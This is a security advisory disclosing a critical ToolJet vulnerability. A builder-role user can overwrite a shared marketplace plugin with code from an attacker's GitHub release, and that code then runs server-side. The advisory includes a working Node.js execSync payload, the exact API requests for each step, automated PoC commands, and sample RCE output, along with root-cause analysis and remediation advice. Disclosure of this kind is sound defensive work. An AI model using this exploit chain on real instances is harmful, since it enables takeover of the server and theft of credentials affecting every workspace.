Skip to content

ToolJet - Marketplace Plugin Poisoning Enables Instance-Wide Remote Code Execution

Critical
shubh22 published GHSA-jgmf-cw3v-r98x Jun 12, 2026

Package

No package listed

Affected versions

<= 3.20.169-lts

Patched versions

3.20.178-lts

Description

Summary

Any authenticated user with builder role (free tier) can overwrite a globally-shared marketplace plugin with arbitrary JavaScript that executes server-side with full Node.js access (require, process). The malicious code runs whenever any user on the instance triggers a query using that plugin — achieving both RCE and supply-chain compromise of the entire ToolJet deployment.

CVSS 4.0 Score

9.9 (Critical)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Affected Component

  • Product: ToolJet (CE and Cloud editions)
  • Version: 3.x (tested on latest)
  • Component: Plugin update endpoint (server/src/modules/plugins/controller.ts, service.ts, util.service.ts)

Attack Chain

Prerequisites

  • Authenticated ToolJet account (free tier)
  • Builder role in any workspace (default for workspace creators)
  • At least one marketplace plugin installed on the instance

Step 1: Create a malicious GitHub repository

Create a public GitHub repo with these files:

Root files (included in the source zipball):

  • manifest.json — valid JSON matching ToolJet plugin schema
  • operations.json — valid JSON matching ToolJet operations schema
  • icon.svg — any valid SVG

Release asset (index.js uploaded as binary to a GitHub Release tagged v1.0.0):

class Exploit {
  async run(sourceOptions, queryOptions) {
    const { execSync } = require('child_process');
    const output = execSync('id && hostname && cat /etc/os-release').toString();
    return { status: 'ok', data: { result: output } };
  }
}
module.exports = { default: Exploit };

Step 2: List installed marketplace plugins

GET /api/plugins
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>

Response includes all installed plugins with their UUIDs.

Step 3: Overwrite the plugin via PATCH

PATCH /api/plugins/<plugin-uuid>
Content-Type: application/json
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>

{
  "pluginId": "openai",
  "repo": "attacker/malicious-repo"
}

Response:

{
  "id": "<plugin-uuid>",
  "repo": "attacker/malicious-repo",
  "version": "1.0.0",
  "updatedAt": "2026-05-24T18:36:30.020Z"
}

The server fetches index.js from the attacker's GitHub release and stores it in the database, replacing the legitimate plugin code.

Step 4: Trigger execution

Create a data source using the poisoned plugin and run any query:

POST /api/data-queries/<query-id>/run
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>

The plugin code executes in vm.runInNewContext() with full access to:

  • require — load any Node.js module including child_process
  • process — environment variables, process control
  • Buffer, fetch, setTimeout, setInterval
  • Full global object

Any other user on the instance who runs a query using the same plugin also triggers the malicious code.


PoC

A fully automated PoC is provided in the poc/ directory. All files needed (including the attacker payload repo contents) are self-contained.

Setup

cd poc/

# 1. Start local ToolJet instance
docker compose up -d

# 2. Wait ~30-60s for startup, then sign up at http://localhost:8080

# 3. Create the attacker payload repo on GitHub (requires `gh` CLI, authenticated)
./setup_repo.sh my-poc-payload

# 4. Run the exploit (fully automated — installs plugin, poisons, triggers RCE, reverts)
pip install requests
python3 exploit.py --url http://localhost:8080 \
  --email user@test.com --password pass123 \
  --repo <your-github-user>/my-poc-payload

What the script does

  1. Authenticates and obtains a session
  2. Installs a marketplace plugin (OpenAI) from the legitimate S3 source if none exist
  3. PATCHes the plugin's repo field → server fetches malicious index.js from attacker's GitHub release
  4. Creates a data source linked to the poisoned plugin (via docker exec into postgres)
  5. Triggers a query via the preview endpoint → server-side RCE
  6. Prints command output and reverts the plugin

Expected output

[*] Poisoning plugin 'OpenAI' (...) with repo: youruser/my-poc-payload
[*] Plugin poisoned — malicious index.js stored in database
[*] Triggering code execution...
[*] ============================================================
[*] RCE OUTPUT:
[*] ============================================================
{
  "result": "uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n<container-id>\nPRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\n..."
}
[*] ============================================================
[*] Reverting plugin 'OpenAI' to legitimate S3 source...
[*] Plugin reverted successfully

PoC directory structure

poc/
├── docker-compose.yaml   # Local ToolJet CE instance
├── .env                  # Environment config for Docker
├── exploit.py            # Automated exploit script
├── setup_repo.sh         # Creates the GitHub payload repo + release
└── repo/                 # Attacker payload files (push to your own GitHub repo)
    ├── index.js          # RCE payload (execSync('id && hostname ...'))
    ├── manifest.json     # Valid ToolJet plugin manifest
    ├── operations.json   # Valid ToolJet operations schema
    └── icon.svg          # Plugin icon

Root Cause Analysis

1. No authorization boundary on plugin updates

The PATCH /api/plugins/:id endpoint only checks isBuilder permission. Any builder in any workspace can modify plugins that are shared globally across the entire instance. The plugin entity has no organizationId column — all workspaces share the same plugin rows.

2. Update path bypasses install validation

The install() method validates plugin files via JSON.parse(manifest.toString()). But the update() method calls upgrade() directly, which uses js-base64.encode(file) that correctly handles ArrayBuffers — bypassing the validation entirely.

Code flow:

install() → fetchPluginFiles() → JSON.parse(manifest.toString()) → FAILS (ArrayBuffer bug)
update()  → fetchPluginFiles() → upgrade() → encode(file) → SUCCEEDS

3. Unsafe code execution sandbox

Plugin code executes in Node.js vm.runInNewContext() with require and process exposed in the sandbox context (plugin-selector.service.ts:61-194). The vm module is explicitly not a security mechanism.

const sandbox = createContext({
  ...global,
  require: require,     // Full Node.js require
  process: process,     // Full process object
  console: console,
  Buffer: Buffer,
  global: global,
});
runInNewContext(decoded, sandbox);

4. No integrity verification

No signature, hash, or allowlist check on plugin code fetched from GitHub. Any public repository URL is accepted via the repo field (@IsString() only).


Impact

Impact Description
RCE Arbitrary command execution on the ToolJet server
Supply chain Poisoned plugin affects ALL users across ALL workspaces on the instance
Lateral movement Access to environment variables, internal network, database credentials, other services
Stealth Payload executes only when queries run — no immediate indicators
Persistence Malicious code persists in DB until plugin is reverted or reinstalled

Key Files

File Role
server/src/modules/plugins/controller.ts:83 PATCH endpoint — no additional guard
server/src/modules/plugins/service.ts:69-73 update() — calls fetchPluginFiles + upgrade, no validation
server/src/modules/plugins/util.service.ts:128-177 fetchPluginFilesFromRepo() — fetches from any GitHub repo
server/src/modules/plugins/util.service.ts:264-313 upgrade() — stores code via encode()
server/src/modules/data-sources/services/plugin-selector.service.ts:61-194 VM execution with require/process
server/src/entities/plugin.entity.ts No organizationId — plugins are global

Remediation

P0 (Immediate)

  1. Restrict plugin PATCH/update to instance admin only — builders should not be able to modify globally-shared plugins
  2. Scope plugins per-organization — add organizationId to the plugin entity

P1 (High)

  1. Remove require and process from VM sandbox — use isolated-vm (already used for workflows) instead of Node.js vm
  2. Allowlist plugin repos — only accept updates from github.com/ToolJet/* or verify a signed manifest

P2 (Medium)

  1. Add integrity checks — verify plugin code against a signed hash before execution
  2. Gate the API, not just the UI — the marketplace UI is hidden on some editions via a frontend check, but the API endpoints remain fully accessible

Artifacts

Full report + PoC

Timeline

Date Event
2026-05-24 Vulnerability discovered and confirmed
2026-05-24 This report drafted

Severity

Critical

CVE ID

CVE-2026-55413

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits